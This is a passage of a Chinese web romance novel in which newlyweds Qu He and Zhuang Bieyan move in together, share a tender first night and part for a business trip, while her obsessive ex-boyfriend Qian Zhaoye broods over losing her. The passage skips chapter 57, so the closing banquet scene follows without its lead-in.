司月看着站在面前的两人,在对上庄别宴那双看似温和的眼睛后,脸瞬间红了。
她本来是自告奋勇来替学姐“把关”,可真的对上他后,才发现自己那点底气根本不够。
“学....学姐,那我先走了,再,再见。姐夫...姐夫再见。”
司月结结巴巴说完,还不等他们反应过来,就飞快拦下路边的出租车,连跳带跨进了后座。
关门前她又看了眼,正好对上庄别宴似笑非笑的目光,吓得赶紧缩了回去。
“你这个学妹,怎么和你说的不一样?”庄别宴收回目光,看向曲荷笑道。
“他估计被你的气场吓到了。”
“气场?”他轻笑,“难不成是已婚男人的气场?”
这声轻笑,落在曲荷心上,微微发痒。
庄别宴转身拉开副驾驶门,难掩笑意,“请上车,庄太太。”
迈巴赫行驶在熟悉的路上。
看着窗外熟悉的景色,看着距离白玉湾越来越近,曲荷的心跳不断加快。
直到车子稳稳停在楼下,看着庄别宴解开安全带,心里那点不真实感终于被拉了回来。
庄别宴打开后备箱,搬下一个行李箱,看着他拿出的行李越来越多,曲荷心里被攥了下。
从今天开始,她要和庄别宴同居了。
“要....要帮忙吗?”
庄别宴看了她一眼,在她泛红的耳根上顿了下。
他从后备箱拿出几个购物袋子,掂量了一下,挑出一个给她,“那辛苦太太帮我拎一下这个袋子。”
“哦,好的。”曲荷上前接过他手里的塑料袋。
不重。
很普通的超市购物袋。
进了家门后,她终于知道这些袋子里装的是什么了。
庄别宴把行李箱放到客厅,又打开购物袋,一样一样往外拿东西
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他从容地拿出棕色拖鞋摆在她的粉色拖鞋旁边,又把洗漱用品放到浴室置物架上,最后打开行李箱把衣服放进衣帽间。
看着他有条不紊安置着东西,曲荷觉得这一幕场景好像某种动物在悄悄划分领地,不容拒绝地把属于他的痕迹,一点点嵌入了她的生活里。
想某种无声的宣告。
庄别宴把东西放好后,又打开了一个袋子,从袋子底摸出两个同款不同色系的马克杯。
“我听说夫妻之间用同款会更有归属感。”
他把杯子往她面前推了推,带着几分试探,“我不知道你喜不喜欢。如果你不习惯,那我先收起来。”
他的声音低沉,曲荷看着那对杯子,又抬眼看向他,点了点头,又摇了摇头。
“那我陪你把东西放好?”庄别宴眼睛一亮,语气带着难以察觉的雀跃,却刻意压制着。
“嗯。”曲荷应了声,接过杯子。
“放厨房还是书房?”
这种问题本身无关紧要,重要的是他跟在她身后,胸膛几乎贴着她的后背。
“厨..厨房吧。”
“好。”他的声音带着笑意。
等到所有东西都归置好后,曲荷环视了一圈房子。
并排放置的牙刷,拖鞋,柜子里成对摆放的杯子,还有衣柜里多出来的男士衬衫....
这个小房子现在变得熟悉又陌生,多了份属于庄别宴的气息,处处都有他的痕迹。
但奇怪的事她居然没有觉得反感,反而更有种过日子的生活感。
正想着,就感觉到庄别宴的手覆了上来,轻轻裹住了她的手。
曲荷低头看着两人紧握的手,又抬眼看向他。
他们现在离得很近,轻轻的呼吸正好拂过她的额头。
庄别宴的眼睛本就好看,现在更像是有种蛊惑人心的力量,变成了裹着蜜糖的漩涡,让人不自觉沉沦。
空气逐渐变得滚烫。
两人之间的距离不断缩短,他的手已经圈到了腰上,曲荷呼吸逐渐小心翼翼,她不自觉咽了下喉咙。
她注意到庄别宴的目光落在她的唇上,目光沉沉,像带着某种克制的渴望。
就在这时,门铃响了。
庄别宴闭了闭眼,下巴抵在她肩头深吸一口气,眼里闪过一丝懊恼,随即立刻恢复正常。
他抬手揉了揉她的头发,“我去开门...”
可刚转身手就被身后人拉住。
曲荷扯了下他的袖子,“我去开门。”
庄别宴虽不解,但依旧笑着应下,“好。”
第53章 新婚夜必学十八式
曲荷的身影消失在玄关,客厅的温度一下子冷了下来。
庄别宴环视一圈,站在原地无意摩挲着掌心,上面似乎还留着她腰肢的温度。
运筹帷幄二十九年,见过商场上的波云诡谲,处理过太多人情世故,可偏偏胸膛里这颗为曲荷而乱了节奏的心,让他第一次觉得自己像个毛头小子。
满脑子挥之不去的,都是刚才那个即将落下的吻,还有她的无措。
玄关处传来开关门声。
空气中飘着若有似无的花香,庄别宴转头就和捧着花走来的曲荷撞个正着。
她捧着一束紫色德国鸢尾花朝他走来,笑意盈盈看着他。
“这是什么?”他嗓音微哑,明知故问。
脚步不受控制向她走去,目光落在她含笑的眼睛上时,心脏像是被什么东西撞了一下,酥酥麻麻,还痒痒的。
曲荷把花送到他怀里,仰头看着他,“新婚快乐,庄先生。上次去庄宅看到了后院里的德国鸢尾,小禧说那是你亲手种的,是你最喜欢的花。”
她有点不好意思笑了笑,“不能只有我一个人收到礼物,你也要有。”
庄别宴目光落在近在咫尺的脸上,她弯着唇角,仰头看着他的样子,让他心里瞬间软得一塌糊涂。
在这一刻,她这双眼睛里满满当当,全是他。
内心像是什么东西重重被锤了一下,抑制不住的悸动,久久不能停息。
“德国鸢尾很难买。”他的声音有点发紧。
“是啊。”曲荷轻轻拨弄了下花瓣,叹气,“我找了一大圈才找到一家花店有卖的。”
她忽然抬眼,眼里满是真诚的赞叹,“所以庄别宴,你真的好厉害啊,能把后院的德国鸢尾养得这么好,它们都开的好漂亮。”
这么直白又带着小崇拜的夸奖,让庄别宴心里的小鹿又被撞了下。
他下意识收紧了捧着花的手,轻轻拨弄了下花瓣来掩饰自己的失态,“谢谢,我很喜欢。”
听到他的回答后,曲荷笑容又深了些。
她稍稍站直身子,从花束缝隙里拿出一个深蓝色丝绒小盒子,轻轻打开。
“戒指是来不及了,但这枚胸针,我觉得正合时机。”
早上她看完庄别宴发的朋友圈后,就开始看起了花店,让他们在六点左右送到家里。
庄别宴为她做了很多事,但婚姻本就是两人一起经营的,她也该做点什么。
胸针上的钻石泛着细闪的光,庄别宴的目光却几乎没在胸针上停留,始终盯着曲荷的眼睛。
看着她双手捧着胸针递到他面前,那认真的模样,像是把自己最珍贵的东西托付给了他,又像是把心也捧到了她面前。
满腔心脏被欣喜充盈着,快要溢出来。
他的阿荷,永远知道怎么让他溃不成军。
曲荷拿出胸针,试探着开口,“要试一下吗?”
庄别宴腾出一只手,把花换到单手抱着,然后张开双臂,“可以。”
曲荷上前一步,几乎是走进了他怀里。
两人之间现在的距离很近,近到庄别宴只要稍微低一下头就能吻到她。
鸢尾花香和他身上的雪松味交缠在一起,曲荷屏住呼吸,小心翼翼拿着胸针别在他的领口。
终于别好胸针,曲荷刚想后退,就感觉腰间一紧。
庄别宴长臂一伸,把她圈进怀里,力道不轻不重,却让她无法动弹。
他低下头,下巴抵在她额头,“很好看,我很喜欢。”
喜欢你送的花,喜欢你送的胸针,更,喜欢你。
他的动作很快,等曲荷反应过来后,已经牢牢贴在了他怀里。
圈在她腰间的手力道不小,她下意识扭了下身子,发现挣不开,干脆也失了出去的念头,整个人放松下来,轻轻趴在了他胸口。
耳边是他扑通扑通的心跳声。
越来越响。
慢慢地和她的心跳同频。
曲荷不知道自己现在该做什么,她听着耳边的心跳声,犹豫了下只好学着他的模样,慢慢伸出手,轻轻抱住了他的腰。
夕阳透过窗户洒了一地金黄,把两个人的身影拉得很长,落在地板上逐渐分不清彼此。
......
晚饭是庄别宴做的。
曲荷没想到他会做饭,更没想到他做饭的手艺还很不错。
原本她还想着自己好歹煮了七年的粥,应该能帮上忙,可看到他娴熟的手艺后,彻底放弃了进去搭把手的念头,默默退了出来。
打扰了,此等大厨不是她可以高攀的。
曲荷看向厨房里那些快要落灰的锅碗瓢盆,心里默默慰问了三遍。
这七年,你们受苦了!
跟着这种级别的大厨,你们的好日子马上来了!
庄别宴端着最后一碗汤走出来,曲荷去旁边盛了两碗米饭,两人相对而坐。
“没想到你做菜的手艺这么好。”曲荷开启夸夸模式,声音无比虔诚。
庄别宴帮她盛了碗汤,“我在英国待过五年。”
英国留子!
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难怪!
曲荷尝了口他盛的汤,热气模糊了视线,“英国啊,我当年差点也去了....”
对面传来庄别宴低沉的声音,带着几分认真,“那蜜月安排去伦敦怎么样?”
曲荷听到‘度蜜月’三个字,噎了一下。
庄别宴给她递了张纸,眼含笑意,“怎么了?要是太太现在就想去,我可以安排直升机,今晚就能出发。”
“别别别!”曲荷赶紧摇头,脸颊发烫,“太,太赶了,以后再说吧。”
看着她慌乱的样子,庄别宴的嘴角弯的更深了,不再逗她,“好,都听你的。”
等吃完饭后,庄别宴去书房开了个电话会议。
曲荷先去洗了澡,她对着镜子拍了拍脸。
稳住!不就是睡同一张床吗,没什么好紧张的!
可一躺到床上,她的手指却在屏幕上快的要起飞了。
司月的消息一条接着一条蹦出来,满屏幕都是她的虎狼之词,消息内容属于被网警看到都要抓进去的那种。
【学姐,直接上!新婚夜不doi等于暴殄天物!】
【那可是庄别宴啊!睡到就是赚到!】
【我给你发个秘籍,学姐你肯定用得上。】
下一秒,一条链接发了过来,《新婚夜必学十八式》。
曲荷看得眼皮直跳,可手却像是不听使唤一样,点了进去。
才扫了两条评论,看到什么‘灯光调暗’,‘循序渐进’,‘第一阶段的爱抚’后,她就像被烫到了一样,飞快熄屏。
那个乖巧单纯的小司月去哪里了?这种东西她那里找来的。
曲荷手背贴在脸上,试图用这种方式让脸蛋降温,冷静下来。
这时,卫生间的水声停了。
曲荷手忙脚乱把自己裹进被子里,靠着床背假装刷手机,可屏幕一打开,就是那条还没来得及退出去的链接页面。
卫生间门被打开,庄别宴裹着水汽走了出来。他换下了平日里的西装,只穿着宽松的家居短袖,下面是同色系睡裤。
氤氲在他周身的水汽逐渐散开,眉眼逐渐清晰,那双琥珀色的瞳孔湿漉漉的。
两人对视那一秒,曲荷飞快低头,可入眼屏幕上又是那条链接。
她情急之下手指在屏幕上乱戳,想退出去,可偏偏越怕什么就来什么,页面卡在那里一动不动。
进退两难。
她被做局了。
“在看什么?”庄别宴掀开被角躺了进来,床垫微微陷下一块。
第54章 曲荷,我可以吻你吗
曲荷全身僵硬,“没,没什么...就随便看看新闻。”
熟悉的茉莉香沐浴乳萦绕在鼻尖,和她身上的是同款。
庄别宴动了下,手肘有意无意贴到了她的手臂,一瞬间像电流穿过全身。
曲荷咽了下喉咙,一动不敢动,大气不敢出一声。
这时,庄别宴突然坐直身体,往她这边侧了下身。
“你干什么?”她心跳差点从喉咙里跳出来。
庄别宴的手僵在半空,看着她紧张的样子,眼里闪过一丝笑意,“整理被子,刚才好像没铺平。”
“哦,我...我帮你。”
曲荷手刚伸出去一半,就被他握住。
“怎么把戒指摘了?”他目光落在她无名指上,话里像是带上了几分失落,“不喜欢吗?”
曲荷看着空荡荡的左手无名指,赶紧解释道:“不是的,是戒指太..太大了,我怕弄丢,而且我平时捏泥巴也不太方便。”
庄别宴倒是没想到这个理由,“哦”了声。
“是我考虑不周,那我明天重新挑个合适的,再给太太戴上。”他一边说,一边慢慢压了过来,居高临下望着她,眼神幽暗。
曲荷盯着他这双琥珀色的瞳孔,眨巴了下眼睛,“好。”
听到想要的回答,庄别宴弯了下唇角。
他的手现在撑在她肩膀两侧,投下来的阴影完全笼罩住了她,连带着两人身上的茉莉香气,形成了一个小而暧昧的空间。
曲荷下意识缩了下,空气里的旖旎的温度逐渐攀升,谁也没有说话。
她想打破这样的气氛,可憋了半天却说了句,“庄别宴,我睡姿不是很好,会滚来滚去,你,你别介意。”
“会滚到我怀里吗?”他问。
“我..我不知道。”曲荷被问住了,“你要是介意的话,我可以去书房睡。”
庄别宴轻笑,凑近了些,“不介意,我会接住太太,保证不会让你掉下去。”
曲荷偏过头,额头擦过了他的鼻尖,“那,晚安。”
她慢悠悠往下蛄蛹身子,快躺下的前一秒,感觉额头压下了一片柔软。
“晚安。”他的声音在头顶响起。
曲荷整个动作僵住了,仰头看着他,一脸惊讶。
庄别宴已经直起身子,一脸自然,像是什么也没发生过一样,反倒是显得她有些大惊小怪了。
他看着她,眼神真诚又无辜,“怎么了?我听说夫妻之间睡前都要有晚安吻。”
“啊?”
“抱歉,我第一次做这些事,没有经验,是不是....不太对?”
曲荷看着他一副‘对不起,我没经验,我太纯情了,我不懂’的样子,默默叹了口气。
算了,谁让他是第一次谈恋爱呢。
“没关系。”
刚说完,就看到庄别宴上半个身子又覆了下来,这次离得更近了。
他的声音沉沉,“那你可以接受吗?”
曲荷目不转睛仰头盯着他,看着他眼底里自己的影子,抿了下唇,小声说:“可以。”
庄别宴眼睛亮了一下。
曲荷补充了句,“但...但你下次可以提前和我说一下,我..好有个准备。”
庄别宴眼睛微眯,眼底飞快划过一抹得逞的笑意,轻点了下头。
她刚松了口气,以为今晚就能这么过去了,可下一秒就听到他带着笑意的声音在耳边响起:
“曲荷,那我现在可以吻你吗?”
曲荷活了二十七年,哪里见过这样的直球。
可偏偏庄别宴一脸正经看着她。
他确实和她刚才说的一样,询问了她的意见。
但...那只是个象征性的回答,属于客套的一种...算了..
曲荷一时无语凝噎,不知道该说什么。
他的手不知何时伸了过来环上了她的腰。
曲荷脊背微微发颤,下意识往旁边挪了下,却被他更紧地捞了回去。
“可以吗?庄太太?”
他的声音掺杂着欲,搂在腰间的力道也越来越重,呼吸扫过颈侧,还带着熟悉的茉莉香沐浴露香气。
曲荷在他滚烫的呼吸里,轻轻点了下头。
庄别宴低笑,瞬间收紧手臂把她搂进怀里。
“啪嗒。”
灯灭。
庄别宴的气息笼罩了下来,一点点漫过她的呼吸,彻底裹住。
唇瓣一热,他小心翼翼啄了下,吻得生涩,还差点磕到她的牙齿。
“对不起。”他嘴上是不好意思的道歉,可手却诚实的慢慢探入衣摆,“可以再试一次吗?”
曲荷无声点了下头。
接着唇瓣覆上一片柔软,这一次他熟练得像是换了个人,她微微仰头,他的吻便骤然加深。
曲荷迷迷糊糊想,这哪是没经验...
他的吻逐渐往下落在了脖颈,曲荷咬着唇瓣,酥麻感顺着脊背蔓延到了四肢百骸。
上一次她被药物控制在混沌中沉浮,可这次她却是清醒着,真真切切感受到了他的温度和气息。
曲荷呼吸微乱,逐渐急促,她好像能听到自己‘咚咚’的心跳声,感觉下一秒就要从胸膛里跳出来。
欲望蔓延,她睫毛轻颤,闭上了眼。
可几乎是在沉沦瞬间,庄别宴却突然停了下来。
他保持着刚才的姿势没动,沉默着不说话。
曲荷有些发愣,睁开眼,不明白他此刻的行为。
眼前一片黑暗,庄别宴突然翻身下来,长臂从她脖颈下一捞,把她圈得更紧了些。
后背贴上了他滚烫的胸膛,曲荷轻轻叫了声他的名字。
“庄别宴?”
他沉默着没回应,手臂换了个方向,把她整个人裹在怀里。
曲荷尝试转身,却被他牢牢禁锢在怀。
“睡吧。”
庄别宴下巴抵在她肩窝,整张脸埋进了发间,
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深深吸了口气,克制着所有的欲望。
曲荷能感受到后背传来的滚烫,也能感受到他克制压抑的气息和绷得发紧的胸膛。
“庄别宴,其实,可以的。”她轻声开口。
他沉默一瞬,才无奈叹了口气,声音哑得不行,还带着几分懊恼和无奈,“对不起,忘记买了。”
曲荷:“......”
她立刻反应过来,脸也瞬间烧了起来。
庄别宴从身后压着她,想后退却舍不得松开手,只能侧头吻着她的耳朵,轻啄的吻时不时落在颈侧和耳畔。
曲荷能感觉到他在用这种方式努力平复滚烫,可身后那个昂扬的轮廓却又无比真实。
他的呼吸不仅没有恢复规律,反而愈发沉重,胸膛起伏得也愈发明显。
“对不起。”庄别宴从喉咙底吐出三个字。
他掀开被子,正准备下床就感觉手被拉了下。
曲荷不知何时转过身,黑夜里,她微微仰起头,手指蜷缩了下又松开,重新勾了勾他的手指。
庄别宴呼吸滞在喉咙。
他反手握住她的手,用力揉捏着,直到曲荷吃痛了声,他才卸下力道。
不可以。
他重重呼出一口气,克制着低头在她额头落下一吻,“你先睡,我一会儿就来。”
曲荷的眼睛已经完全适应黑暗。
她能看到庄别宴那双琥珀色的瞳孔里翻涌的无休止的暗潮。
“我可以....”她小声回答,攀上了他的手臂,“帮你...”
庄别宴彻底失了分寸,失控地把她楼到怀里,那一声声闷哼被彻底碾碎在齿间。
空气逐渐潮热,空气中的雪松味不断蔓延扩散,彻底压下了茉莉花香。
一来一往间,已经分不清是谁带着谁沉沦。
只是觉得黑夜里,连呼吸都缠成了线。
结束的时候,曲荷已经困得睁不开眼。
庄别宴带着一身水汽从浴室出来,看到趴在枕头上眼睛几乎睁不开的人后,心里像被什么东西添满了,又酸又软。
他掀开被子躺进去,轻轻地把曲荷的头发别到耳后。
曲荷努力想睁开眼,可眼皮却像是在打架,最后索性放弃,“庄别宴,我好困啊,我...帮不了你了,你自己解决..吧...”
后面几个字几乎听不到。
庄别宴伸手掖了掖被子,拉过她泛红的手掌,低头轻啄了下,眼底是藏不住的餍足和温柔。
他从旁边拿来护手霜挤出来,在她掌心轻轻揉开按摩,做完这一切后,又牵手十指相扣最后,贴在了自己心口。
黑夜无限放大,可他的心却被爱意填充。
庄别宴拉过她的手搭在自己腰间,“晚安,老婆。”
曲荷迷迷糊糊“嗯”了声,下意识往他怀里蹭了蹭。
庄别宴低笑,把她搂得更紧。
长夜漫漫,他的心却被填得满满当当。
第55章 昨晚,辛苦了
早上。
曲荷醒来的时候手酸得不行,她迷迷糊糊抬头,隔空抓了两下空气,身体先于意识做了个伸展运动。
可刚伸展到一半,就意识到不对劲。
她手刚抬到一半,就被一股力道抓了回去。
曲荷瞬间清醒,缓缓睁眼。
入目就是庄别宴近在咫尺的侧脸,他闭着眼,眉眼柔和了不少。
他的手正牢牢圈在她腰间,掌心无意识贴着摩挲了两下。
而她整个人几乎趴在庄别宴身上,一条腿几乎横跨在他腰间,手还搂着他的脖子,像个树袋熊一样挂在他身上。
这睡姿,也太离谱了!
她小心翼翼地收回腿,脚踝却不小心擦过了他腿间某个危险的地方。
昨晚的记忆瞬间回笼,在脑海里又过了一遍。
黑暗中交缠的呼吸,他滚烫的掌心,还有她大胆的触碰....
曲荷的脸红了。
她无比清晰地感到的他身体反应逐步苏醒。
腿僵在半空,收也不是,放也不是,下意识屏住呼吸,一动不敢动。
庄别宴被动静吵醒,手下意识抱着她紧了些,下巴在她头顶蹭了蹭,带着几分慵懒开口,“醒了...”
温热的气息拂过头顶,曲荷浑身僵硬。
好在他很快感受到了身体反应,睁开眼,两人目光对视。
庄别宴失笑,带着几分揶揄和纵容。
“早。”
他一边说,掌心还在她腰间摩挲了下。
曲荷听到他的笑声,猛地移开视线,手忙脚乱飞快掀开被子下床,跑进了卫生间。
看着她落荒而逃的背影,庄别宴笑意更深了。
他往下看了眼自己的状态,脑海里反复回想着昨晚她生涩的触感,借此来平复着被撩拨的火。
清心寡欲二十九年,一朝贪欢,食髓知味。
果然,人一旦尝到甜头,就再也停不下来。
吃早饭的时候,曲荷一直不敢看对面的人,始终埋头苦吃,就差把脸塞进碗里。
“我吃好了。”她飞快放下勺子,“你慢慢吃,我先走了。”
曲荷不敢多停留一秒,拿起包就往门口走。
“等等。”
庄别宴的声音从身后传来,曲荷脚步一顿,手紧紧攥成包带。
他走上前牵起她的手,往手心里塞了个东西,“记得涂。”
曲荷低头一看,是那支护手霜。
她猛地抬头,撞进了他含笑的眼眸里。
庄别宴微微俯身,在她耳畔低语,“昨晚,辛苦了。”
脑子里嗡嗡响,大脑一片空白。
曲荷觉得手上拿着的不是护手霜,而是什么铁块,手抖了下吗,差点把护手霜丢地上。
她眼睛都不知道往哪里瞥,一下子落在他眼睛上,一下子又落在他喉结上,半天才挤出一句,“不..不用谢。”
话落,她不敢停留,飞快开门逃了出去,连背影都透着几分慌乱。
看着被关上的门,庄别宴轻笑。
追妻路漫漫,但...
昨晚他很满意。
.....
曲荷原以为她需要花很长一段时间接受和庄别宴同居的事情,可不过短短几天,她居然就已经接受了这个事实。
自打他搬进来后,家里多了几分烟火气。
实打实的那种。
从早晨醒来颈间温热的呼吸,到厨房里飘来的柴米油香,还有家里越来越多的同款,从杯子倒拖鞋再到睡衣...
家里花瓶里的鲜花从没断过,曲荷几乎每天都能收到他送来的52支粉荔枝,美名其曰‘生活要有仪式感’。
神奇的是,每次上一束花刚有点蔫的时候,新一束总会准时出现,就像未卜先知似的。
日子照常过,唯一变化的是,自从那晚后,他们的一直没有更进一步。
每晚除了睡前他照例一个晚安吻外,再无其它进一步的行为。
他不说,她也不问。
司月知道这事的时候,啧啧两声。
“学姐,难道你不觉得有些太巧合了吗?”司月托着下巴问她,眼里满是探究。
“我有种说不出的感觉,从你和庄总领证的时候就有预感了,一切就好像是太顺利了,像是刻意设计好的一样。”
她说着往曲荷这边探过半个身子,“庄总真的没
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有什么其他的意图的吗?图财是不可能了,难不成是图人?”
曲荷没有回复。
其实这些天她也有这样的预感。
庄别宴对她太好了,很多她自己都不在意的细节,他知道的却很清楚。
她不知道他的意图是什么,这份好里,藏着的是什么,她也看不清。
图人吗?
可他们明明才认识不久...
司月看着她一脸纠结的样子,摆了摆手,“算了,管他呢!我们还是先解决大事!”
“大事?”
她凑到耳边轻轻说,“说真的,你们这进度...你说该不会,是庄总他不行吧!”
“司月!”
曲荷的脸瞬间红了,“你以前不是这样的,到底是谁把你带坏了!”
司月脸上飞快闪过了一抹不易察觉的尴尬,掩饰道,“没有,怎么可能有人把我带坏。”
曲荷微眯眼。
司月头摇得快出闪影了。
两人打趣了两句,店里来了客人,她也去忙了。
临走前还不忘和她使眼色,“学姐,实践出真知,行不行,试一试就知道了,直接上!”
曲荷赶紧让她出去招呼客人,可思绪却跟着她那句话走了。
她见识过庄别宴的欲望,熟悉他的滚烫和昂扬,可这几天他们最大的尺度就是睡前那个点到为止的晚安吻。
有好几次,她能感觉到他即将爆发的欲望,拥着她的手臂也会不断收紧。
可偏偏下一秒他又会松开手,只会低声说一句‘睡吧’,然后在身后拥着她保持着不远不近的距离。
难不成真的和司月说的那样。
庄别宴,他,不行?
可那样子,也不像啊....
在意识到脑袋里在想什么后,曲荷捂了把脸甩了甩脑袋,想把那些乱七八糟画面都甩出去。
算了吧,这种事还是顺其自然吧,不然显得她太急了一样。
一整个下午,曲荷都在店里拉坯修坯,连手机没电自动关机都不知道。
直到快傍晚的时候,司月举着自己的手机跑了过来,“学姐,庄总电话打到我这里来了。”
第56章 庄别宴结婚了?
曲荷这才发现她的手机没电自动关机了。
她赶紧接过手机,走到里间,一边走一边道歉,“不好意思啊...”
才刚刚没说几句,就听到手机那头传来了机场航班播报提示音。
曲荷一愣,“你在机场?”
“嗯。”
他说,“今天下午临时要出个差,想打电话给你报备一下,一直没打通。”
曲荷有些不好意思,声音也低下去了,“对不起啊,我手机没电了自动关机了....”
她心里有点空落落的。
“该说这句话的人是我。”
他的呼吸声透过听筒传来了过来,很清晰,像是在耳边说话一样。
“没能当面和你道别,是我的不是。”
曲荷感觉回答:“没事的,你注意安全就好。”
良久那头传来一声轻轻叹息,“太太对我,就只有这一句叮嘱吗?”
“啊?”曲荷愣了一下。
还有什么?
她咬唇想了想,“那...你记得要好好吃饭。”
“还有呢?”
“..记得休息。”
“还有吗?”他继续追问,步步紧逼。
曲荷手指无意识扣着沙发,没作声。
电话那头,庄别宴轻笑了一下,嗓音突然压低,“比如..想不想我早点回来?”
曲荷心跳快得有点不像话,“...你工作重要。”
“好吧,那换个问题。”
电话那头传来了传来登机广播,他的声音混在其中,有点哑,“我不在的时候,你会想我吗?”
曲荷张了张嘴,没发出声音。
谁也没有说话。
过了一会儿,才传来他的声音。
“要登机了。”
曲荷攥着手机的手紧了下,“..早点回来。”
电话那头安静了几秒。
“遵命。”
“那我挂了。”
“等等。”他叫住她,“我不在这几天,会有人给你送餐,记得按时吃。”
“好。”
“还有,”他顿了下,“我会想你,曲荷。”
“....”
曲荷握着手机,好半天说不出话,直到听筒传来忙音,才发现手指已经攥得发白。
挂断电话,转身就和趴在门框的司月眼神撞个正着。
她不好意思移开眼,红着脸把手机扔到她怀里,就走了出去,只觉得心脏快要跳出来了。
这个男人,好犯规!
回家的时候,楼下果然站在送餐的人,还捧着一束新鲜的粉荔枝,上面还沾着水珠。
“太太,庄先生交代我们送来的。”
曲荷接过花,指尖碰了碰花瓣,心里像是被什么东西撞了一下。
她带着送餐人员上楼,进门后拿出手机,找到庄别宴发送消息。
【花收到了,谢谢。】
过了几分钟,他回复:
【喜欢就好。】
曲荷手在键盘上停顿了下,继续打字。
【你什么时候回来?】
这次,他回得很快,好像一直在等她这句话。
【等下一束花来的时候。】
曲荷看着屏幕,嘴角止不住上扬。
她微微低头闻了闻花香,抽出了几支长得比较好的插到花瓶里,换掉了那束已经开始打蔫的。
看着沾满水珠的粉色花瓣,曲荷心里莫名涌起了一丝期待。
她不知道自己是在期待下一束花,还是期待那个人。
.....
尊悦三楼。
玻璃杯折射出水晶灯冷冽的光,落在钱昭野紧绷的侧脸上。
他坐在沙发正中央仰头又干掉了一杯酒。
酒精尽数入喉,却压不住心底翻涌的烦躁。
“钱总,您一个人喝酒有什么意思,我陪您啊....”
“滚!”
钱昭野没抬眼,指节捏着酒杯,力道大得泛白。
这几天事事不顺,自从那天庆功会过后,原本谈好的好几个合作方都借口取消了合作。
本该是他意气风发的日子,可偏偏一切都被那段视频毁了!
事后他有想调监控找出幕后的人,可却被“那段时间监控线路检修没有拍到”给堵了回来。
呵!监控维修?
尊悦是什么地方?安保系统比银行还严密,怎么可能偏偏在那种时候“检修”?分明是有人故意针对他。
可到底是谁?他想破了头,也没理出半点头绪。
手机铃声突然响起,屏幕上跳动的“乔眠”两个字,刺眼得很!
心里的火气“噌”地又冒起来。
那天他为了平息**,不得已当众承认了和乔眠的婚讯,原本只是权宜之计,没想到乔眠竟真把自己当成了钱家少奶奶。
每天朋友圈里不是晒奢侈品包,就是发些“老公工作辛苦”的矫情文字,生怕别人不知道她傍上了他。
她还仗着怀孕辞掉了工作,每天在家就盯着他的行踪。有时候加班晚了,她要打电话查岗,碰上应酬她几乎每隔半小时发一条微信。
太窒息了,只要想到这些,就觉得喘不过气。
“烦。”
钱昭野低声骂了句,扯了扯领带。
这一刻,他忽然念起曲荷的好。
酒精在胃里灼烧,记忆却越来越清晰。
曲荷从来不会这样黏人,也不会这么物质。
七年,他和曲荷在一起七年。
钱昭野灌下一口酒,他抓起手机,手指在屏幕上划
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过,熟练地播出那个烂熟于心的号码。
“您所拨打的号码已关机……”冰冷的机械的女声浇灭了他燃起的火苗。
他又点开微信,输入手机号码搜索。
他点下“发送好友申请”,输入框里敲下一行字:“阿荷,再给我一次机会。”
发送失败,对方拒绝接收你的消息。
他不气馁,又发一条:“我知道错了。”
失败。
“七年的感情,你说断就断?”
还是失败。
钱昭野看着那个头像,忽然低低地笑了起来,笑声越来越大,带着几丝癫狂,眼里却淬着偏执。
“阿荷,我们七年的感情,你怎么可能这么快就忘了?”
他喃喃自语,指尖几乎要戳穿屏幕,“你忘了我们说过要一起变老的?你忘了要一直陪着我,你怎么能忘……”
“你只能是我的。”他猛地攥紧手机,指节泛白,“谁也抢不走,你必须回来。”
旁边几个人看着他对着手机又笑又说,都识趣地闭了嘴,没人再敢搭话。
这时,角落里有人压低声音聊起了八卦:“听说没?庄别宴结婚了。”
“真的假的?前阵子不还说是谣言吗?”
“千真万确,我一哥们儿在他公司任职,说他自己都在朋友圈发了,就是没露脸。”
“嚯,谁这么大本事,能让庄总收心?肯定是哪个豪门千金吧?”
“不好说,我一个朋友的妹妹,昨天去民政局办离婚,刚好撞见庄别宴领证,还偷偷拍了张照片呢。”
“快拿出来看看!说不定能认出来,以后见了也好打个招呼。”
钱昭野对这些话充耳不闻。
庄别宴结婚?没什么稀奇的。
像他们这种家世背景的人,婚姻多半是利益交换,找个门当户对的联姻,互相扶持事业罢了,他连抬眼的兴趣都没有。
“钱总,这照片您要不要看看?说不定您认识。
”刚才那个聊八卦的人,拿着手机凑过来,献殷勤似的问。
钱昭野没应声。
他算是默认他同意了。
手机震动了一下,是那个人发来的照片。
他正准备点开,屏幕上方突然弹出乔眠的电话,紧接着是一条微信消息,刺得他眼睛生疼:
“钱昭野,你要是还不回来,我就把孩子打了。”
又是这样。
用孩子威胁他。
钱昭野猛地吐出一口气,胸腔里的怒火几乎要炸开。
他接通电话,语气冷得像冰:“乔眠,你闹够了没有?”
说着,起身大步走向门外。
新消息不断探出来,刚才的没点开的聊天框很快沉了下去。
第58章 他就是曲荷老公?
刚才还叽叽喳喳的几个人,在看到门口的人后,脸上的嘲讽瞬间僵住了。
宴会厅门口,刚和乔眠一起走进来的钱昭野正好把司月那句话听得一清二楚。
他垂在身侧的手不自觉攥成拳,目光死死锁在曲荷脸上,眼底沸腾着暗潮。
曲荷结婚了?
什么时候的事情?
他这些情绪悉数入了乔眠的眼底,她面上笑容不减,却紧紧咬住了后槽牙。
乔眠已经换下了刚才那套粉色礼服裙,现在身上的是一条深香槟色的贴身长裙,恰到好处地勾勒出隆起的孕肚。
周围的目光顿时变得微妙起来,在乔眠的肚子和曲荷平静的脸上来回逡巡。
有好奇,有同情,也有看好戏的意味。
乔眠不动声色吐出一口气,柔柔地攀上钱昭野的手臂,娇柔道:“昭野,刚才校长说想跟你合张影,我们快过去吧。”
她说着话,眼神却瞟向曲荷,一脸挑衅,然后挽着钱昭野的手臂从她身边走过,
司月在一旁看得直皱眉,一直嘀咕说乔眠坏话。
等那两人走远了,她凑到曲荷耳边,“学姐,你有没有觉得……乔眠那张脸有点怪?”
她咂咂嘴,“说不上来,就是有种熟悉的陌生感,好像在哪儿见过,又好像完全不认识似的。”
曲荷没作声,其实上次在钱家见到乔眠时,她就有这种感觉了。
明明是熟悉的轮廓,却总透着一股说不出的违和感,很奇怪。
她淡淡道:“或许是怀孕了,所以和以前不一样吧。”
司月似懂非懂地点点头。
正好这时,她的大学室友走了过来,司月和曲荷打了声招呼后就离开了。
司月走后,曲荷一个人坐在偏厅的角落里,想着再待一会儿就走。
宴会厅里的香水味、酒气和人声混在一起,闷得让人心慌。
曲荷放下酒杯,走到外层的阳台透气。
晚风带着凉意拂过脸颊,她刚舒了口气,身后就传来了一阵脚步声。
她下意识回头,却撞进一双熟悉的眼眸。
钱昭野单手插兜倚在阳台门口,目光直直落在她身上,眼神复杂,带着几分她看不懂的执拗。
